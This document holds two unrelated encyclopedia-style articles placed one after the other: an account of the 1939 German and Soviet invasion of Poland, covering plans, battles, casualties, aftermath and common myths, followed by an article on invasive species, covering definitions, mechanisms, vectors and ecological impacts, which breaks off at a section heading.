            	A main attack over the western Polish border. This was to be carried out by Army Group South commanded by General Gerd von Rundstedt, attacking from German Silesia and from the Moravian and Slovak border: General Johannes Blaskowitz's 8th Army was to drive eastward against Łdź; General Wilhelm List's 14th Army was to push on toward Krakw and to turn the Poles' Carpathian flank; and General Walter von Reichenau's 10th Army, in the centre with Army Group South's armour, was to deliver the decisive blow with a northestward thrust into the heart of Poland.


            	A second route of attack from northern Prussia. General Fedor von Bock commanded Army Group North, comprising General Georg von Kchler's 3rd Army, which was to strike southward from East Prussia, and General Gnther von Kluge's 4th Army, which was to attack eastward across the base of the Polish Corridor.


            	A tertiary attack by part of Army Group South's allied Slovak units from Slovakia.


            	From within Poland, the German minority would assist by engaging in diversion and sabotage operations through Selbstschutz units prepared before the war.

          


          All three assaults were to converge on Warsaw, while the main Polish army was to be encircled and destroyed west of the Vistula. Fall Weiss was initiated on September 1, 1939, and was the first operation of the Second World War in Europe.


          


          Polish plan


          
            [image: Deployment of German and Polish divisions, September 1, 1939.]

            
              Deployment of German and Polish divisions, September 1, 1939.
            

          


          The Polish defense plan, Zachd (West), was shaped by political determination to deploy forces directly at the German-Polish border, based upon London's promise to come to Warsaw's military aid in the event of invasion. Moreover, with the nation's most valuable natural resources, industry and highly populated regions near the western border ( Silesia region), Polish policy centered on their protection, especially since many politicians feared that if Poland were to retreat from the regions disputed by Germany (like the Polish Corridor, cause of the famous "Danzig or War" ultimatum), Britain and France would sign a separate peace treaty with Germany similar to the Munich Agreement of 1938. In addition, none of its allies had specifically guaranteed Polish borders or territorial integrity. On those grounds, Poland disregarded French advice to deploy the bulk of their forces behind the natural barriers of the wide Vistula and San rivers, even though some Polish generals supported it as a better strategy. The Zachd plan did allow the Polish armies to retreat inside the country, but it was supposed to be a slow retreat behind prepared positions near the rivers ( Narew, Vistula and San), giving the country time to finish its mobilisation, and was to be turned into a general counteroffensive when the Western Allies launched their own promised offensive.
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          The Polish Army's most pessimistic fall-back plan involved retreat behind the river San to the southeastern voivodships and their lengthy defence (the Romanian bridgehead plan). The British and French estimated that Poland should be able to defend that region for two to three months, while Poland estimated it could hold for at least six months. This Polish plan was based around the expectation that the Western Allies would keep their end of the signed alliance treaty and quickly start an offensive of their own. However, neither the French nor the British government made plans to attack Germany while the Polish campaign was being fought. In addition, they expected the war to develop into trench warfare much like World War I had, forcing the Germans to sign a peace treaty restoring Poland's borders. The Polish government, however, was not notified of this strategy and based all of its defence plans on promises of quick relief by their Western allies.


          The plan to defend the borders contributed vastly to the Polish defeat. Polish forces were stretched thin on the very long border and, lacking compact defence lines and good defence positions along disadvantageous terrain, mechanized German forces often were able to encircle them. In addition, supply lines, were often poorly protected. Approximately one-third of Poland's forces were concentrated in or near the Polish Corridor (in northwestern Poland), where they were perilously exposed to a double envelopment  from East Prussia and the west combined and isolated in a pocket. In the south, facing the main avenues of a German advance, the Polish forces were thinly spread. At the same time, nearly another one-third of Poland's troops were massed in reserve in the north-central part of the country, between the major cities of Łdź and Warsaw, under commander in chief Marshal Edward Rydz-Śmigły. The Poles' forward concentration in general forfeited their chance of fighting a series of delaying actions, since their army, unlike some of Germany's, traveled largely on foot and was unable to retreat to their defensive positions in the rear or to man them before they were overrun by German mechanized columns.


          The political decision to defend the border was not the Polish high command's only strategic mistake. Polish pre-war propaganda stated that any German invasion would be easily repelled, so that the eventual Polish defeats in the September Campaign came as a shock to many civilians, who were unprepared for such news and, with no training for such a disaster, panicked and retreated east, spreading chaos, lowering troop morale and making road transportation for Polish troops very difficult. The propaganda also had some negative consequences for the Polish troops, whose communications, disrupted by German mobile units operating in the rear and civilians blocking roads, were further thrown into chaos by bizarre reports from Polish radio stations and newspapers which often reported imaginary victories and other military operations. This led to some Polish troops being encircled or making a stand against overwhelming odds, when they thought they were actually counterattacking or would soon receive reinforcements from other victorious areas.


          


          Phase 1: German invasion
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          Following several German-staged incidents ( Operation Himmler), which German propaganda used as an excuse to claim that German forces were acting in self-defense, the first regular act of war took place on September 1, 1939, at 04:40, when the German Air Force (Luftwaffe) attacked the Polish town of Wieluń, destroying 75% of the city and killing close to 1,200 people, most of them civilians. Five minutes later, the old German battleship Schleswig-Holstein opened fire on the Polish military transit depot at Westerplatte in the Free City of Danzig on the Baltic Sea. At 08:00, German troops, still without a formal declaration of war issued, attacked near the Polish town of Mokra. The battle of the border had begun. Later that day, the Germans attacked on Poland's western, southern and northern borders, while German aircraft began raids on Polish cities. The main axes of attack led eastwards from Germany proper through the western Polish border. Supporting attacks came from East Prussia in the north, and a co-operative German- Slovak tertiary attack by units (Army "Bernolak") from German-allied Slovakia in the south. All three assaults converged on the Polish capital of Warsaw.


          The Allied governments declared war on Germany on September 3; however, they failed to provide any meaningful support. The German-French border saw only a few minor skirmishes, although the majority of German forces, including eighty-five percent of their armoured forces, were engaged in Poland. Despite some Polish successes in minor border battles, German technical, operational and numerical superiority forced the Polish armies to retreat from the borders towards Warsaw and Lww. The Luftwaffe gained air superiority early in the campaign. By destroying communications, the Luftwaffe increased the pace of the advance which overran Polish airstrips and early warning sites and causing logistical problems for the Poles. Many Polish Air Force units ran low on supplies, 98 of their number withdrew into then-neutral Romania. The Polish initial strength of 400 was reduced to just 54 by September 14 and air opposition virtually ceased.


          By September 3, when Gnther von Kluge in the north had reached the Vistula (some 10 kilometres from the German border at that time) river and Georg von Kchler was approaching the Narew River, Walther von Reichenau's armour was already beyond the Warta river; two days later, his left wing was well to the rear of Łdź and his right wing at the town of Kielce; and by September 8, one of his armoured corps was on the outskirts of Warsaw, having advanced 225 kilometres (140 miles) in the first week of war. Light divisions on Reichenau's right were on the Vistula between Warsaw and the town of Sandomierz by September 9, while List, in the south, was on the river San above and below the town of Przemyśl. At the same time, Guderian led his 3rd Army tanks across the Narew, attacking the line of the Bug River, already encircling Warsaw. All the German armies made progress in fulfilling their parts of the Fall Weiss plan. The Polish armies were splitting up into uncoordinated fragments, some of which were retreating while others were launching disjointed attacks on the nearest German columns.


          Polish forces abandoned regions of Pomerania, Greater Poland and Silesia in the first week. The Polish plan for border defence was proven a dismal failure. The German advance as a whole was not slowed. On September 10, the Polish commander-in-chief, Marshal Edward Rydz-Śmigły, ordered a general retreat to the southeast, towards the so-called Romanian bridgehead. Meanwhile, the Germans were tightening their encirclement of the Polish forces west of the Vistula (in the Łdź area and, still farther west, around Poznań) and also penetrating deeply into eastern Poland. Warsaw, under heavy aerial bombardment since the first hours of the war, was attacked on September 9 and was put under siege on September 13. Around that time, advanced German forces also reached the city of Lww, a major metropolis in eastern Poland. 1,150 German aircraft bombed Warsaw on September 24.


          The largest battle during this campaign, the Battle of Bzura, took place near the Bzura river west of Warsaw and lasted from September 9 to September 19. Polish armies Poznań and Pomorze, retreating from the border area of the Polish Corridor, attacked the flank of the advancing German 8th Army, but the counterattack failed after initial success. After the defeat, Poland lost its ability to take the initiative and counterattack on a large scale. German air power was instrumental during the battle. The Luftwaffe's offensive broke what remained of Polish resistance in an "awesome demonstration of air power". The Luftwaffe quickly destroyed the bridges across the Bzura river. Afterward, the Polish forces were trapped out in the open, and were attacked by wave after wave of Stukas, dropping 50 kg 'light bombs' which caused huge numbers of casualties. The Polish flak positions ran out of ammunition and retreated to the forests, but were then 'smoked out' by the Heinkel He 111 and Dornier Do 17s dropping 100 kg incendiaries. The Luftwaffe left the army with the easy task of mopping up survivors. The Stukageschwaders alone dropped 388 tonnes of bombs during this battle".


          The Polish government (of President Ignacy Mościcki) and the high command (of Marshal Edward Rydz-Śmigły) left Warsaw in the first days of the campaign and headed southeast, reaching Brześć on September 6. Rydz-Śmigły ordered the Polish forces to retreat in the same direction, behind the Vistula and San rivers, beginning the preparations for the long defence of the Romanian bridgehead area.


          


          Phase 2: Soviet invasion 17.09.1939


          From the beginning, the German government repeatedly asked Joseph Stalin and Vyacheslav Molotov to act upon the August agreement and attack Poland from the east. Worried by an unexpectedly rapid German advance and eager to grab their allotted share of the country, Soviet forces attacked Poland on September 17. It was agreed that the USSR would relinquish its interest in the territories between the new border and Warsaw in exchange for inclusion of Lithuania in the Soviet "zone of interest". The USSR had openly supported German aggression, and Molotov stated after the Polish defeat: Germany, which has lately united 80 million Germans, has submitted certain neighboring countries to her supremacy and gained military strength in many aspects, and thus has become, as clearly can be seen, a dangerous rival to principal imperialistic powers in Europe - England and France. That is why they declared war on Germany on a pretext of fulfilling the obligations given to Poland. It is now clearer than ever, how remote the real aims of the cabinets in these countries were from the interests of defending the now disintegrated Poland or Czechoslovakia


          By September 17, 1939, the Polish defense was already broken, and the only hope was to retreat and reorganise along the Romanian bridgehead. However, these plans were rendered obsolete nearly overnight, when the over 800,000 strong Soviet Union Red Army entered and created the Belarussian and Ukrainian fronts after invading the eastern regions of Poland in violation of the Riga Peace Treaty, the Soviet-Polish Non-Aggression Pact, and other international treaties, both bilateral and multilateral. Soviet diplomacy claimed that they were "protecting the Ukrainian and Belarusian minorities of eastern Poland in view of Polish imminent collapse. Vyacheslav Molotov delivered a speech on September 17, 1939:


          
            Events arising out of the Polish‑German War has revealed the internal insolvency and obvious impotence of the Polish state. Polish ruling circles have suffered bankruptcy. . . . Warsaw as the capital of the Polish state no longer exists. No one knows the whereabouts of the Polish Government. The population of Poland have been abandoned by their ill‑starred leaders to their fate. The Polish state and its government have virtually ceased to exist. In view of this‑state of affairs, treaties concluded between the Soviet Union and Poland have ceased to operate. A situation has arisen in Poland which demands of the Soviet‑Government especial concern for the security of its state. Poland has become a fertile field for any accidental and unexpected contingency that may create a menace to the Soviet Union. . . . Nor can it be demanded of the Soviet Government that it remain indifferent to the fate of its blood brothers, the Ukrainians and Byelorussians [White Russians] inhabiting Poland, who even formerly were without rights and who now have been abandoned entirely to their fate. The Soviet Government deems it its sacred duty to extend the hand of assistance to its brother Ukrainians and brother Byelorussians inhabiting Poland

          


          Polish border defence forces in the east, known as the Korpus Ochrony Pogranicza, consisted of about 25 battalions. Edward Rydz-Śmigły ordered them to fall back and not engage the Soviets. This, however, did not prevent some clashes and small battles, such as the Battle of Grodno, as soldiers and local population attempted to defend the city. The Soviets murdered numerous Poles, including prisoners of war like General Jzef Olszyna-Wilczyński. The Organization of Ukrainian Nationalists rose against the Poles, and communist partisans organised local revolts, robbing and murdering Poles. Those movements were quickly disciplined by the NKVD. The Soviet invasion was one of the decisive factors that convinced the Polish government that the war in Poland was lost. Prior to the Soviet attack from the east, the Polish military's fall-back plan had called for long-term defence against Germany in the southern-eastern part of Poland, while awaiting relief from a Western Allies attack on Germany's western border. However, the Polish government refused to surrender or negotiate a peace with Germany. Instead, it ordered all units to evacuate Poland and reorganize in France.


          Meanwhile, Polish forces tried to move towards the Romanian bridgehead area, still actively resisting the German invasion. From September 17 to September 20, Polish armies Krakw and Lublin were crippled at the Battle of Tomaszw Lubelski, the second largest battle of the campaign. The city of Lww capitulated on September 22 because of Soviet intervention; the city had been attacked by the Germans over a week earlier, and in the middle of the siege, the German troops handed operations over to their Soviet allies. Despite a series of intensifying German attacks, Warsawdefended by quickly reorganised retreating units, civilian volunteers and militiaheld out until September 28. The Modlin Fortress north of Warsaw capitulated on September 29 after an intense 16-day battle. Some isolated Polish garrisons managed to hold their positions long after being surrounded by German forces. Westerplatte enclave's tiny garrison capitulated on September 7, and the Oksywie garrison held until September 19; Hel was defended until October 2.


          Despite a Polish victory at the Battle of Szack, after which the Soviets executed all the officers and NCOs they had captured, the Red Army reached the line of rivers Narew, Western Bug, Vistula and San by September 28, in many cases meeting German units advancing from the other direction. Polish defenders on the Hel peninsula on the shore of the Baltic Sea held out until October 2. The last operational unit of the Polish Army, General Franciszek Kleeberg's Samodzielna Grupa Operacyjna "Polesie", surrendered after the four-day Battle of Kock near Lublin on October 6, marking the end of the September Campaign.


          


          Civilian losses


          The Polish September Campaign was an instance of total war. Consequently, civilian casualties were high during and after combat. From the start, the Luftwaffe attacked civilian targets and columns of refugees along the roads to wreak havoc, disrupt communications and target Polish morale. Apart from the victims of the battles, the German forces (both SS and the regular Wehrmacht) are credited with the mass murder of several thousands of Polish POWs and civilians. Also, during Operation Tannenberg, nearly 20,000 Poles were shot at 760 mass execution sites by special units, the Einsatzgruppen, in addition to regular Wehrmacht, SS and Selbstschutz.


          Altogether, the civilian losses of Polish population amounted to 150,000, while German civilian losses amounted to roughly 5,000.


          


          Aftermath
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          Poland was divided among Nazi Germany, the Soviet Union, Lithuania and Slovakia. Nazi Germany annexed parts of Poland, while the rest was governed by the so-called General Government. On September 28, another secret German-Soviet protocol modified the arrangements of August: all Lithuania was to be a Soviet sphere of influence, not a German one; but the dividing line in Poland was moved in Germany's favour, to the Bug River.


          Even though water barriers separated most of the spheres of interest, the Soviet and German troops met on numerous occasions. The most remarkable event of this kind occurred at Brest-Litovsk on September 22. The German 19th Panzer Corps under the command of Heinz Guderian had occupied the city, which lay within the Soviet sphere of interest. When the Soviet 29th Tank Brigade under the command of S. M. Krivoshein approached, the commanders negotiated that the German troops would withdraw and the Soviet troops would enter the city saluting each other. At Brest-Litovsk, Soviet and German commanders held a joint victory parade before German forces withdrew westward behind a new demarcation line. Just three days earlier, however, the parties had a more hostile encounter near Lviv, when the German 137th Gebirgsjgerregimenter (mountain infantry regiment) attacked a reconnaissance detachment of the Soviet 24th Tank Brigade; after a few casualties on both sides, the parties turned to negotiations. The German troops left the area, and the Red Army troops entered L'viv on September 22.


          About 65,000 Polish troops were killed in the fighting, with 420,000 others being captured by the Germans and 240,000 more by the Soviets (for a total of 660,000 prisoners). Up to 120,000 Polish troops escaped to neutral Romania (through the Romanian Bridgehead) and Hungary, and another 20,000 to Latvia and Lithuania, with the majority eventually making their way to France or Britain. Most of the Polish Navy succeeded in evacuating to Britain as well. German personnel losses were less than their enemies (~16,000 KIA).


          Neither sideGermany, the Western Allies or the Soviet Unionexpected that the German invasion of Poland would lead to a war that would surpass World War I in its scale and cost. It would be months before Hitler would see the futility of his peace negotiation attempts with Great Britain and France, but the culmination of combined European and Pacific conflicts would result in what was truly a "world war". Thus, what was not seen by most politicians and generals in 1939 is clear from the historical perspective: The Polish September Campaign marked the beginning of the Second World War in Europe, which combined with the Japanese invasion of China in 1937 and the Pacific War in 1941, formed the cataclysm known as World War II.


          The invasion of Poland led to Britain and France to declare war on Germany on September 3. However, they did little to affect the outcome of the September Campaign. This lack of direct help led many Poles to believe that they had been betrayed by their Western allies.


          On May 23, 1939, Adolf Hitler explained to his officers that the object of the aggression was not Danzig, but the need to obtain German Lebensraum and details of this concept would be later formulated in the infamous Generalplan Ost. The blitzkrieg decimated urban residential areas, civilians soon became indistinguishable from combatants, and the forthcoming German occupation ( General Government, Reichsgau Wartheland) was one of the most brutal episodes of World War II, resulting in over 6 million Polish deaths (over 20% of the country's total population, and over 90% of its Jewish minority),-including the mass murder of 3 million Poles, regardless of religious beliefs, - in extermination camps like Auschwitz, in concentation camps, and in numerous ad hoc massacres, where civilians were rounded up, taken to a nearby forest, machine-gunned, and then buried, whether they were dead or not.


          The Red Army occupied the Polish territories with mostly Ukrainian and Belarusian population. Soviets, met at the beginning as liberators by local people, soon started to introduce communist ideology in the area. This led to a powerful anti-Soviet resistance in the West Ukraine. Soviet occupation between 1939 and 1941 resulted in the death or deportation of least 1.8 million former Polish citizens, when all who were deemed dangerous to the communist regime were subject to sovietization, forced resettlement, imprisonment in labour camps (the Gulags) or murdered, like the Polish officers in the Katyn massacre. Part of these casualties were retributions for the attacks of Ukrainian nationalists on the Polish villages in the West Ukraine, where vengeful feeling was particularly strong. Soviet atrocities commenced again after Poland was "liberated" by the Red Army in 1944, with events like the persecution of the Home Army soldiers and execution of its leaders ( Trial of the Sixteen).


          


          Myths


          There are several common misconceptions regarding the Polish September Campaign:


          
            	Myth: The Polish military fought tanks with cavalry.

            Although Poland had 11 cavalry brigades and its doctrine emphasized cavalry units as elite units, other armies of that time (including German and Soviet) also fielded and extensively used horse cavalry units. Polish cavalry (equipped with modern small arms and light artillery like the highly effective Bofors 37 mm antitank gun) never charged German tanks or entrenched infantry or artillery directly, but usually acted as mobile infantry (like dragoons) and reconnaissance units and executed cavalry charges only in rare situations against enemy infantry. The article about the Battle of Krojanty (when Polish cavalry were fired on by hidden armored vehicles, rather than charging them) describes how this myth originated.


            	Myth: The Polish air force was destroyed on the ground in the first days of the war.

            The Polish Air Force, though numerically inferior, had been moved from air bases to small camouflaged airfields shortly before the war. Only some trainers and auxiliary aircraft were destroyed on the ground. The Polish Air Force remained active in the first two weeks of the campaign, inflicting damage on the Luftwaffe. Many skilled Polish pilots escaped afterwards to the United Kingdom and were deployed by the RAF during the Battle of Britain. Fighting from British bases, Polish pilots were on average the most successful in shooting down German aircraft.


            	Myth: Poland offered little resistance and surrendered quickly.

            Germany sustained relatively heavy losses, especially in vehicles and planes: Poland cost the Germans approximately the equipment of an entire armored division and 40% of its air strength. As for duration, the September Campaign lasted only about one week less than the Battle of France in 1940, even though the Anglo-French forces were much closer to parity with the Germans in numerical strength and equipment. Poland also never officially surrendered to the Germans. Under German occupation, the Polish army continued to fight underground, as Armia Krajowa and forest partisans - Leśni. The Polish resistance movement in World War II in German- occupied Poland was one the largest resistance movements in all of occupied Europe.


            	Myth: The German Army used new concepts of warfare strategically.

            The myth of Blitzkrieg has been dispelled by some authors, notably Matthew Cooper. Cooper writes (in The German Army 19391945: Its Political and Military Failure): "Throughout the Polish Campaign, the employment of the mechanised units revealed the idea that they were intended solely to ease the advance and to support the activities of the infantry. Thus, any strategic exploitation of the armoured idea was still-born. The paralysis of command and the breakdown of morale were not made the ultimate aim of the  German ground and air forces, and were only incidental by-products of the traditional manoeuvers of rapid encirclement and of the supporting activities of the flying artillery of the Luftwaffe, both of which had as their purpose the physical destruction of the enemy troops. Such was the Vernichtungsgedanke of the Polish campaign." Vernichtungsgedanke was a strategy dating back to Frederick the Great, and was applied in the Polish Campaign little changed from the French campaigns in 1870 or 1914. The use of tanks "left much to be desired...Fear of enemy action against the flanks of the advance, fear which was to prove so disastrous to German prospects in the west in 1940 and in the Soviet Union in 1941, was present from the beginning of the war." Many early postwar histories, such as Barrie Pitt's in The Second World War (BPC Publishing 1966), attribute German victory to "enormous development in military technique which occurred between 1918 and 1940", citing that "Germany, who translated (British inter-war) theories into action called the result Blitzkrieg." John Ellis, writing in Brute Force (Viking Penguin, 1990) asserted that "there is considerable justice in Matthew Cooper's assertion that the panzer divisions were not given the kind of strategic (emphasis in original) mission that was to characterise authentic armoured blitzkrieg, and were almost always closely subordinated to the various mass infantry armies." Zaloga and Madej, in The Polish Campaign 1939 (Hippocrene Books, 1985), also address the subject of mythical interpretations of Blitzkrieg and the importance of other arms in the campaign. "Whilst Western accounts of the September campaign have stressed the shock value of the panzers and Stuka attacks, they have tended to underestimate the punishing effect of German artillery (emphasis added) on Polish units. Mobile and available in significant quantity, artillery shattered as many units as any other branch of the Wehrmacht."
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          Invasive species is a phrase with several definitions. The first definition expresses the phrase in terms of non-indigenous species (e.g. plants or animals) that adversely affect the habitats they invade economically, environmentally or ecologically. It has been used in this sense by government organizations as well as conservation groups such as the IUCN.


          The second definition broadens the boundaries to include both native and non-native species that heavily colonize a particular habitat.


          The third definition is an expansion of the first and defines an invasive species as a widespread non-indigenous species. This last definition is arguably too broad as not all non-indigenous species necessarily have an adverse effect on their adopted environment. An example of this broader use would include the claim that the common goldfish (Carassius auratus) is invasive. Although it is common outside its range globally, it almost never appears in harmful densities.


          Due to the ambiguity of its definition, the phrase invasive species is often criticized as an imprecise term within the field of ecology. This article concerns the first two definitions; for the third, see introduced species.


          


          Conditions that lead to invasion


          Scientists propose several mechanisms to explain invasive species, including: species-based mechanisms and ecosystem-based mechanisms, most likely, it is a combination of several mechanisms that cause an invasive situation to occur since most introduced plants and animals do not become invasive.


          


          Species-based mechanisms


          Species-based characteristics focus on competition. While all species compete to survive, invasive species appear to have specific traits or combinations of specific traits that allow them to outcompete native species. Sometimes they just have the ability to grow and reproduce more rapidly than native species; often it's more complex, involving a multiplex of traits and interactions.


          Several traits have been singled out by researchers as predictors of invasive ability. For example in plants, the ability to reproduce both asexually (vegetatively) as well as sexually, rapid growth, early sexual maturity, high reproductive output, the ability to disperse young widely, tolerance of a broad range of environmental conditions, high phenotypic plasticity and allelopathy are all abilities that might aid an invasive plant in establishing and proliferating in a new environment.


          Studies seem to indicate that certain traits mark a species as potentially invasive. One study found that of a list of invasive and noninvasive species, 86% of the invasive species could be identified from the traits alone. Another study found that invasive species tended to only have a small subset of the invasive traits and that many of these invasive traits were found in non-invasive species as well indicating that invasiveness involves complex interaction not easily categorized. Common invasive species traits include fast growth, rapid reproduction, high dispersal ability, phenotypic plasticity (the ability to alter ones growth form to suit current conditions), tolerance of a wide range of environmental conditions, ability to live off of a wide range of food types, asexual reproduction, and association with humans. The single best predictor of invasiveness, however, is whether or not the species has been invasive elsewhere. Typically an introduced species must survive at low population densities before it becomes invasive in a new location. At low population densities, it is often difficult for the introduced species to reproduce and maintain its self in a new location, but often due to human actions a species might be transported to a location a number of times before it become established. Humans repeated patterns of movement from one location to another, such as ships sailing to and from ports or cars driving up and down highways, allow for species to have multiple opportunities for establishment (also known as a high  propagule pressure).


          An introduced species might become invasive if it can out compete native species for resources such as nutrients, light, physical space, water or food. Some species when introduced into a new environment lack the competition and predation they evolved under in their native environments freeing them to proliferate quickly. Ecosystems where all available resources are being used to their full capacity by native species can be modeled as zero-sum systems, where any gain for the invader is a loss for the native. However, such unilateral competitive superiority (and instant, equivalent extinction of native species with increased populations of the invader) is not the rule. Invasive species often coexist with native species for an extended time and gradually the superior competitive ability of an invasive species become apparent when its population grows larger and denser often after it adapts to its new location.
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          An invasive species might be able to use resources previously unavailable to native species, such as deep water sources accessed by a long taproot, or an ability to live on previously uninhabited soil types. For example, barb goatgrass (Aegilops triuncialis), can be found in its introduced range in California on serpentine soils, which have low water-holding capacity, low nutrients, high Mg/Ca ratio, and possible heavy metal toxicity. Plant populations on these soils tend to show low density but goatgrass can form dense stands on these soils crowding out native species that have not adapted well to growing on serpentine soils. Invasive species are either plant or animal, from another area and over-compete other native species living in the area.


          Facilitation is the mechanism by which some species can alter their environment through chemicals or manipulation of abiotic factors, usually to make it less favorable for other species to compete against them, allowing the species to grow or reproduce. One such facilitative mechanism is allelopathy, also known as chemical competition. In allelopathy a plant or in Interference Competition a bacterium will secrete chemicals which make the surrounding soil uninhabitable, or at least inhibitory, to other competing species.


          One example of this is the knapweed ( Centaurea diffusa). This Eastern European weed has spread its way through the western United States. Experiments show that 8-Hydroxyquinoline, a chemical produced at the root of C. diffusa, has a negative effect only on plants that have not co-evolved with C. diffusa. Such co-evolved native plants have also evolved defenses, and C. diffusa does not appear in its native habitat to be an overwhelmingly successful competitor. This result shows how difficult it can be to predict whether a species will be invasive just from looking at its behaviour in its native habitat, and demonstrates the potential for novel weapons to aid in invasiveness ).


          Changes in fire regimes are another form of facilitation. Bromus tectorum, originally from Eurasia, is highly fire-adapted. It not only spreads rapidly after burning, but actually increases the frequency and intensity (heat) of fires, by providing large amounts of dry detritus during the dry fire season in western North America. In areas where it is widespread, it has altered the local fire regime so much that native plants cannot survive the frequent fires, allowing B. tectorum to further extend and maintain dominance in its introduced range.


          Facilitation also occurs when one species physically modifies a habitat and that modification is advantageous to other species. For example, zebra mussels increase habitat complexity on lake floors providing nooks and crannies in which invertebrates live. This increase in complexity, together with the nutrition provided by the waste products of mussel filter-feeding increases the density and diversity of benthic invertebrate communities.


          


          Ecosystem-based mechanisms


          In ecosystems the amount of resources available and how much of those resources are utilized by organisms, determine the effects of new additions to the ecosystem. In stable ecosystems equilibrium exists in the utilization of available resources.


          When changes occur in an ecosystem, like forest fires removing large stands of vegetation in an area, normal succession would favour certain native grasses and forbs, but with the introduction of a species that can multiply and spread faster on open ground than the native species, the balance is changed and the resources that would have been used by the native species are now utilized by an invader thus impacting the ecosystem and changing its composition of organisms and their use of available resources. The data shows that nitrogen and phosphorus are often the limiting factors for a situation such as this.


          Every species has a role to play in its native ecosystem; some species fill large and varied roles while others are highly specialized. These roles are known as niches. Some invading species are able to fill niches that are not utilized by native species, and they also can create niches that did not exist.


          When changes occur to ecosystems, conditions change that impact the dynamics of species interaction and niche development. This can cause once rare species to replace other species, because they now can utilize greater available resources that did not exist before, an example would be the edge effect. The changes can favour the expansion of a species that without the change would not be able to colonize areas and niches that did not exist before.


          This mechanism describes a situation where the ecosystem in question has suffered a disturbance of some sort, which changes the fundamental nature of the ecosystem.


          


          Ecology


          
            [image: Pied Currawong]
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          Although an invasive species is often defined as an introduced species that has spread widely and causes harm, some species native to a particular area can, under the influence of natural events such as long-term rainfall changes or human modifications to the habitat, increase in numbers and become invasive.


          All species on Earth go through periods of increasing and decreasing population numbers, in many cases accompanied by expansion and contraction of range. Human alterations on the landscape are especially significant. Anthropogenic alteration of an environment may enable the expansion of a species into a geographical area where it had not been seen before and thus that species could be described as invasive. In essence, one must define "native" with care, as it refers to some natural geographic range of a species, and is not coincident with human political boundaries. Whether noticed increases in population numbers and expanding geographical ranges is sufficient reason to regard a native species as "invasive" requires a broad definition of the term but some native species in disrupted ecosystems can spread widely and cause harm and in that sense become invasive. For example the Monterey Cypress is a rare and endangered endemic naturally occurring only in two small stands in California. They are being exterminated as exotic invasive species less than 50miles (80km) from their native home.


          


          Traits of invaded ecosystems


          In 1958, Charles S. Elton argued that ecosystems with higher species diversity were less subject to invasive species because of fewer available niches. Since then, other ecologists have pointed to highly diverse, but heavily invaded ecosystems and have argued that ecosystems with high species diversity seem to be more susceptible to invasion. In the end, this debate seems largely to hinge on the spatial scale at which invasion studies are performed, and the issue of how diversity affects community susceptibility to invasion remains unresolved. Small-scale studies tend to show a negative relationship between diversity and invasion, while large-scale studies tend to show a positive relationship. The latter result may be an artifact of invasive or non-native species capitalizing on increased resource availability and weaker overall species interactions that are more common when larger samples are considered.
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          Invasion is more likely if an ecosystem is similar to the one in which the potential invader evolved.. Island ecosystems may be prone to invasion because their species are nave and have faced few strong competitors and predators throughout their existence, or because their distance from colonizing species populations makes them more likely to have open niches. An example of this phenomenon is the decimation of the native bird populations on Guam by the invasive brown tree snake. Alternately, invaded ecosystems may lack the natural competitors and predators that keep introduced species in check in their native ecosystems, a point that is also seen in the Guam example. Lastly, invaded ecosystems have often experienced disturbance, usually human-induced. This disturbance may give invasive species, which are not otherwise co-evolved with the ecosystem, a chance to establish themselves with less competition from more adapted species


          


          Vectors


          Non-native species have many vectors, including many natural ones, but most of the species considered "invasive" are associated with human activity. Natural range extensions are common in many species, but the rate and magnitude of human-mediated extensions in these species tend to be much larger than natural extensions, and the distances that species can travel to colonize are also often much greater with human agency.
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          One of the earliest human influenced introductions involves prehistoric humans introducing the Pacific rat (Rattus exulans) to Polynesia. Today, non-native species come from horticultural plants either in the form of the plants themselves or animals and seeds carried with them, from animals and plants released through the pet trade. Invasive species also come from organisms stowed away on every type of transport vehicle imaginable, to name a few unintentional vectors. For example, ballast water taken up at sea and released in port is a major source of exotic marine life.


          Species have also been introduced intentionally. For example, to feel more "at home", American colonists formed "Acclimation Societies" that repeatedly released birds that were native to Europe until they finally established along the east coast of North America.


          Economics play a major role in exotic species introduction. The scarcity and demand for the valuable Chinese mitten crab is one explanation for the possible intentional release of the species in foreign waters.


          


          Impact


          


          Ecological impacts


          Biological species invasions alter ecological systems in a multitude of ways. Worldwide an estimated 80% of endangered species could suffer losses due to competition with or predation by invasive species. Pimentel also reports that introduced species, such as corn, wheat, rice, and other food crops, and cattle, poultry, and other livestock, now provide more than 98% of the U.S. food system at a value of approximately $800billion per year." As highly adaptable and generalized species are introduced to environments already impacted by human activities, some native species may be put at a disadvantage to survive while other species survival is enhanced.
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          Land clearing and human habitation put significant pressure on local species and disturbed habitat is often prone to invasions that can have adverse effects on local ecosystems, changing ecosystem functions. A species of wetland plant known as ʻaeʻae in Hawaiʻi (the indigenous, Bacopa monnieri) is regarded as a pest species in artificially manipulated water bird refuges because it quickly covers shallow mudflats established for endangered Hawaiian stilt (Himantopus mexicanus knudseni), making these undesirable feeding areas for the birds. Sometimes, multiple successive introductions of different nonnative species can have interactive effects, where the introduction of a second non-native species can enable the first invasive species to flourish. Examples of this are the introductions of the amethyst gem clam (Gemma gemma) and the European green crab (Carcinus maenas). The gem clam was introduced into California's Bodega Harbour from the East Coast of the United States a century ago. It had been found in small quantities in the harbour but had never displaced the native clam species (Nutricola spp.). In the mid 1990s, the introduction of the European green crab, found to prey preferentially on the native clams, resulted in a decline of the native clams and an increase of the introduced clam populations.


          In the Waterberg region of South Africa, cattle grazing over the past six centuries has allowed invasive scrub and small trees to displace much of the original grassland, resulting in a massive reduction in forage for native bovids and other grazers. Since the 1970s large scale efforts have been underway to reduce invasive species; partial success has led to re-establishment of many species that had dwindled or left the region. Examples of these species are giraffe, Blue Wildebeest, impala, kudu and White Rhino.
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          Invasive species can change the functions of ecosystems. For example invasive plants can alter the fire regime (cheatgrass, Bromus tectorum), nutrient cycling (smooth cordgrass Spartina alterniflora), and hydrology ( Tamarix) in native ecosystems. Invasive species that are closely related with rare native species have the potential to hybridize with native species. Harmful effects of hybridization have led to a decline and even extinction of native species. For example, hybridization with introduced cordgrass, Spartina alterniflora, threatens the existence of California cordgrass ( Spartina foliosa) in San Francisco Bay.


          


          Genetic pollution


